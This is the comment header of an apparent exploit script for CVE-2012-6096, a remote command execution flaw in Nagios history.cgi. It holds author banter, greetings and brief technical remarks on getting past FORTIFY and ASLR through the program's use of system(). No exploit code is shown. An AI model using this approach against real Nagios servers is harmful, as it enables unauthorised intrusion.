# CVE-2012-6096 - Nagios history.cgi Remote Command Execution
# ===========================================================
# Another year, another reincarnation of classic and trivial
# bugs to exploit. This time we attack Nagios.. or more 
# specifically, one of its CGI scripts. [1]
#
# The Nagios code is an amazing monster. It reminds me a
# lot of some of my early experiments in C, back when I 
# still had no clue what I was doing. (Ok, fair enough,
# I still don't, heheh.)
#
# Ok, I'll come clean. This exploit doesn't exactly
# defeat FORTIFY. This approach is likely to work just FINE 
# on other crippled distro's though, think of stuff like 
# ArchLinux, Slackware, and all those Gentoo kids twiddling 
# their CFLAGS. [2] (Oh and hey, BSD and stuff!)
#
# I do some very stupid shit(tm) here that might make an 
# exploit coder or two cringe. My sincere apologies for that.
#
# Cold beer goes out to my friends who are still practicing
# this dying but interesting type of art:
#
#   * brainsmoke * masc * iZsh * skier_ * steve *

# P.S. To the clown who rebranded my Samba exploit: j00 s0 1337 m4n!
# Next time you rebrand an exploit at least show some diligence and
# add some additional targets or improvements, so we can all profit!
#
# P.P.S. hey, Im not _burning_ bugs .. this is a 2day, enjoy!

# There's no memoryleak or whatever needed to leak libc
# base and bypass ASLR.. This entire Nagios PoS is stringed
# together by system()
